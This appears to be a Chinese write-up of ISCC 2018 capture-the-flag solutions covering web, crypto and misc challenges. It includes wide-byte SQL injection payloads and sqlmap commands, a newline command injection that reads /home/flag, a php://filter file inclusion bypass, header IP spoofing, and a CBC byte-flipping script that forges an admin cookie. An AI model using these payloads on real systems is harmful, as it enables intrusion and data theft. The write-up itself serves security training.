比较数字大小
1 | <input type="text" maxlength="3" name="v"> |
maxlength限制了输入字符串长度,直接F12-Elements中修改或去掉maxlength,或者burp修改name的值。
key is 768HKyu678567&*&K
web01
输入http://118.190.152.202:8003/?password[]=1
1 |
|
为什么这么简单啊
题目要求:第二关需要从 http://edu.xss.tv 进入,并且只有我公司的IP地址才可以进入第二关,公司IP为:110.110.110.110
headers头部中referer修改来源;X-Forwarded-For可以伪造ip,进入第二关
查看网页源代码发现
<script type="text/javascript" src="./password.js"></script>
打开文件,存在一串base64,解码后得到<script>alert("password:xinyiji.com")</script>
您的flag为:B1H3n5u0xI2n9JIscc
web02
在请求头部添加中X-forwarded-for:127.0.0.1失败;换用 client-ip:127.0.0.1 成功
Great! ISCC{iscc_059eeb8c0c33eb62}
Please give me username and password!
师兄指点下发现备份文件:index.php.txt
1 |
|
输入http://118.190.152.202:8017/?password=8e9&username[]=a
flag:ISCC2018_Very_GOOD!
php是世界上最好的语言
用户名、密码处输入QNKCDZO
, 得到
1 |
|
变量覆盖,输入
http://118.190.152.202:8005/no_md5.php?a=GLOBALS
flag:a39f9a1ff7eb4bab8a6a21b2ce111b4
一切都是套路
提示:好像有个文件忘记删了,于是可以想到源码泄露,测试了.bak,.swp等都没有,尝试了dirsearch、御剑等扫描工具也没收获,后台在师兄的提示下,发现了index.php.txt……Orz
1 |
|
可以发现存在变量覆盖,又必须post flag参数,也就是说$flag
一定会被覆盖,思考良久,注意到,似乎有一段代码很多余
1 | foreach ($_GET as $k => $v){ |
所以想到可以将$flag赋值给其他可打印变量,如\$_200
智商真是捉急……,大佬肯定都是分分钟做出来的 2333333~
SQL注入的艺术
测试(字符型 or 数字型)
1’ and 1=1%23
1’ and 1=2%23
1 and 1=1%23
1 and 1=2%23
1abcd
结果都是返回id=1的结果 于是猜测可能是字符型,也可能是使用了intval,然而始终测试失败,于是关注编码gb2312,测试宽字节注入
1%df%27 and 1=1%23 #显示id=1的结果
1%df%27 and 1=2%23 #无显示
判断为宽字节注入,可能使用了addslashes等函数;界面中显示sql语句查询的部分信息,于是为明显。
查询列数
union select
1
2
3UNION SELECT 1,2,3 #
UNION ALL SELECT 1,2,3 #
UNION ALL SELECT null,null,null #order by
利用二分法
1
2
3
4ORDER BY 10 #
ORDER BY 5 #
ORDER BY 2 #
....先利用
1%df%27 order by 8%23
测试字段数为8;再利用-1%df%27 select 1,2,3,4,5,6,7,8
测试2,4,7的位置存在信息泄露
手动注入
payload
1
2
3
4
5
6
7
8# 数据库 baji
2%df%27union select 1,(SELECT database()),3,4,5,6,7,8%23
# 表名 admins
2%df%27union select 1,(SELECT GROUP_CONCAT(table_name SEPARATOR+0x3c62723e) FROM+INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA=0x62616a69),3,4,5,6,7,8%23
# 字段 flag
2%df%27union select 1,(SELECT GROUP_CONCAT(column_name SEPARATOR+0x3c62723e) FROM+INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x61646D696E73),3,4,5,6,7,8%23
# 内容 Y0u_@@33w_dxxmn_9rf0Od
2%df%27union select 1,(SELECT flag from admins),3,4,5,6,7,8%23工具注入
–threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10
–level 3 //sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5
–risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
–search //后面跟参数 -D -T -C 搜索列(S),表(S)和或数据库名称(S) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样,结果有时候题目就是这么耿直对吧?
–flush-session //如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
1
python sqlmap.py -u "http://118.190.152.202:8015/?id=2%df" --search -C flag --thread 10 --level 3
除了在id处指明%df,还可以使用宽字节注入脚本–tamper=unmagicquotes.py
1
python sqlmap.py -u "http://118.190.152.202:8015/?id=1" --search -C flag --thread 10 --level 3 --tamper=unmagicquotes.py --flush-session
试试看
1
<img src="show.php?img=1.jpg">
img参数首先考虑到的是否存在文件包含,源码泄露
成功利用文件包含的条件
- inclued()等通过动态变量的方法引入需要包含的文件
- 动态变量用户可控
针对于这道题,猜测后台的show.php的代码,不知道是否用了include等函数,测试过程中发现,参数后缀必须为
.jpg
,否则file not found
1
2
3
4
5
6$img = $_GET['img'];
if( preg_match('/\.jpg$/is', $img) ) {
echo "<img src='".$img."'>";
}else{
echo "file not found";
}所以需要绕过
.jpg
,如果绕过呢?开始查找各种奇淫技巧%00截断
400 Bad Request
Your browser sent a request that this server could not understand.
Apache/2.4.10 (Debian) Server at 172.17.0.32 Port 80
出现了 Status Code:
Http 400 Bad Request
错误的一种原因就是:参数匹配。包括以下两方面:- 请求时没有传递必须的参数;
- 传递的参数类型不匹配,比如
areaOrSchoolId
需为int
型,若传到后台的是string
型则也会出现类似的错误。
TODO…
Only admin can see flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>类似题目 cbc字节翻转攻击
此攻击方法的精髓在于:通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。
CBC字节翻转攻击发生在解密的过程中,实质就是通过更改上一个块的内容,来间接修改明文中的内容。有一条经验法则是(结合上图),你在密文中改变的字节,只会影响到在下一明文当中,具有相同偏移量的字节。因此,进行CBC攻击仅影响到两个块。CBC反转攻击的用途主要体现在在不知道加密密钥的情况下,通过修改密文,可以间接修改明文。
回到题目中来,序列化后的明文如下:
a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:5:"admin";
- 首先将明文分成16字节的四组:
- a:2:{s:8:”userna
- me”;s:5:”bdmin”;
- s:8:”password”;s
- :5:”admin”;}
修改cipher1
1
2
3
4
5cipher1 xor plain2 = middle2
cipher1 = middle2 xor plain2
cipher1_change = middle2 xor plain_change = cipher1 xor plain2 xor plain2_change
对应下面代码中的
ord(cipher[i]) ^ ord(plain_old[i]) ^ ord(plain_new[i])- 恢复iv
出现了问题,修改cipher1,又会破坏plain1的解密,题目中plain1_error通过错误回显已知,iv可控,于是可以通过修改IV值恢复plain1。
1
2
3plain_error = middle1 xor iv_old
middle1 = plain_error xor iv_old
iv_new = middle1 xor plain1 = plain_error xor iv_old xor plain1代码如下:
- 重新生成密文
1
2
3
4
5
6
7
8
9
10# -*- coding: utf-8 -*-
import base64
cipher1 = 'EvX06IpeOJ9iTJ7J1L9iP7ymKC1Phg7KySWJP0ZbAtlwVMnniIkdvRH60+BY5g+8i0WKbQvgJIZVbGsQGTzH5A=='.decode('base64')
plain_old = "me\";s:5:\"skctf\";"
plain_new = "me\";s:5:\"admin\";"
for i in xrange(16):
cipher_change = cipher[:i] + chr(ord(cipher1[i]) ^ ord(plain_old[i]) ^ ord(plain_new[i])) + cipher1[i+1:]
print cipher_change.encode('base64')- 重新生成IV
1
2
3
4
5
6
7
8
9
10
11
12# -*- coding: utf-8 -*-
import base64
plain = 'tjxwLb7ntUZzvvEfoiiKKG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6InNrY3RmIjt9'.decode('base64')
iv = 'in+Lglg80v0qJ2PW/c11pg=='.decode('base64')
old = plain[:16]
new = "a:2:{s:8:\"userna";
for i in xrange(16):
iv = iv[:i] + chr(ord(iv[i]) ^ ord(old[i]) ^ ord(new[i])) + iv[i+1:]
print iv.encode('base64').strip()What is that?
发现一张图片,23333,markdown语法竟然不能显示出来,估计就是crc校验有问题了,修改后面的高度
得到
数字密文
1
2
3
4
5
6
7
8
9# -*- Coding:UTF-8 -*-
a = ["0x69","0x74","0x27","0x73","0x20","0x65","0x61","0x73","0x79","0x21"]
str = ""
for i in a:
str += chr(int(i,16))
print str或者利用 “一只猫的心思”的脚本
flag: it’s easy!
秘密电报
题目:
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA“知识就是力量”这句话是培根说的,于是培根密码解密得到flag:ILIKEISCC
谍影重重
这道题是在师兄的帮助下完成的
前面各种base64解码和urldecode得到
1 | U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4 |
再解码得到:
Salt__
是openssl加密后的标志
在线解密解密结果:
答案就是后面这句但已加密
缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗
佛论禅解密:
把以“佛曰:”开头的内容,复制粘贴到密文区后,点击“参悟佛所言的真意”按钮,就能在上面的明文区看到解码后的字符了。
在密文前面加上”佛曰”,解密得到:把我复制走
flag: 把我复制走
有趣的ISCC
010Editor打开图片发现文件尾AE 42 60 82
后面有一些类似unicode编码的东西,去掉多余的空字节后得到
1 | \u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d |
于是先进行Unicode解码再转换为字符串
flag:iscc is fun
凯撒十三世
题目描述:凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。
ROT13 也是过去在古罗马开发的凯撒密码的一种变体。ROT13是它自身的逆反,即:要还原成原文只要使用同一算法即可得,故同样的操作可用于加密与解密。该算法并没有提供真正密码学上的保全,故它不应该被用于需要保全的用途上。它常常被当作弱加密示例的典型。
得到: roqtp697t95j3
键盘密码: 仔细观察,可以发现是上下对应解密的,即qwerty解密后为asdfgh,看着键盘解密为flag:yougotme
一只猫的心思
文件尾部FF D9
得到word文档的头部D0CF11E0
,截取出来存为doc文档,内容为:
名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通
注意:记得带上『佛曰:』或『如是我闻:』的文字,点击『参悟佛所言的真意』按钮
1 | 523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46 |
16进制转字符串 ,接下来就是base64 base32 16进制转字符串等的操作得到F1a9_is_I5cc_ZOl8_G3TP01NT
1 | # coding:UTF-8 |
flag: I5cc_ZOl8_G3TP01NT
`
暴力XX不可取
成功打开flag.txt,得到vfppjrnerpbzvat
,rot13解密后得到flag: isccwearecoming
Where is the FLAG?
010 Editor打开发现图片经过Firework编辑得到,使用Firework打开发现隐藏的图层
按标号顺序排好得到正确的二维码
扫码得到flag:a332b700-3621-11e7-a53b-6807154a58cf
你能跨过去吗
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413
挺无语的一道题,不知道作者想表达什么,难道想告诉我们url有时会进行base64编码处理吗?
对ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0
解码得到
<script>alert("key:/%nsfocusXSStest%/")</script>
表单页面输入:/%nsfocusXSStest%/
,得到flag: Hell0World
Sqli
很不光彩的用sqlmap跑出来的
1 | python .\sqlmap.py -r .\r.txt --thread 10 --level 3 --dbms "Mysql" --dump |
你能绕过吗?
尝试了各种绕过的姿势
1 | 1)&& |
灵活的绕过了正确答案%0a 心塞塞的……
http://118.190.152.202:8018/?ip=118.190.152.202%0als
index.php
http://118.190.152.202:8018/?ip=118.190.152.202%0acat index.php
得到
1 | '', |
没有flag,然后遍历目录
http://118.190.152.202:8018/?ip=8.8.8.8%0als%20/home
flag
http://118.190.152.202:8018/?ip=8.8.8.8%0acat%20/home/flag
flag: ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
你能绕过吗?
给大家安利一下我的师兄–一个既懂web又懂bin的废汪 Orz… 没错,这道题是在师兄全程做出来的,我在旁边呐喊助威,23333…
题目地址:http://118.190.152.202:8008/
大家应该和我一样看到这样的参数 ?f=articles&id=4
,直觉性的猜测id处的SQLi
然而显注没有、布尔盲注、时间盲注通通测试失败,呃….,其实这是一道LFI本地文件包含,参数f处,接着我要写出师兄的思路
输入http://118.190.152.202:8008/index.php?f=index&id=4
,显示的是该网页无法正常运行,但是也同时也告诉我们index模块是存在的(这好像是废话。。。),通过curl -v查看网页的加载情况,发现一直在循环加载?f=articles&id=4
。也就是说index.php是包含了article.php的。
于是开始LFI,测试http://118.190.152.202:8008/index.php?f=php://filter/read=convert.base64-encode/resource=index.php&id=4
发现error…,经测试发现是过滤了php,可以通过大小写绕过
http://118.190.152.202:8008/index.php?f=phP://filter/convert.base64-encode/resource=index&id=4
base64解码得到
1 |
|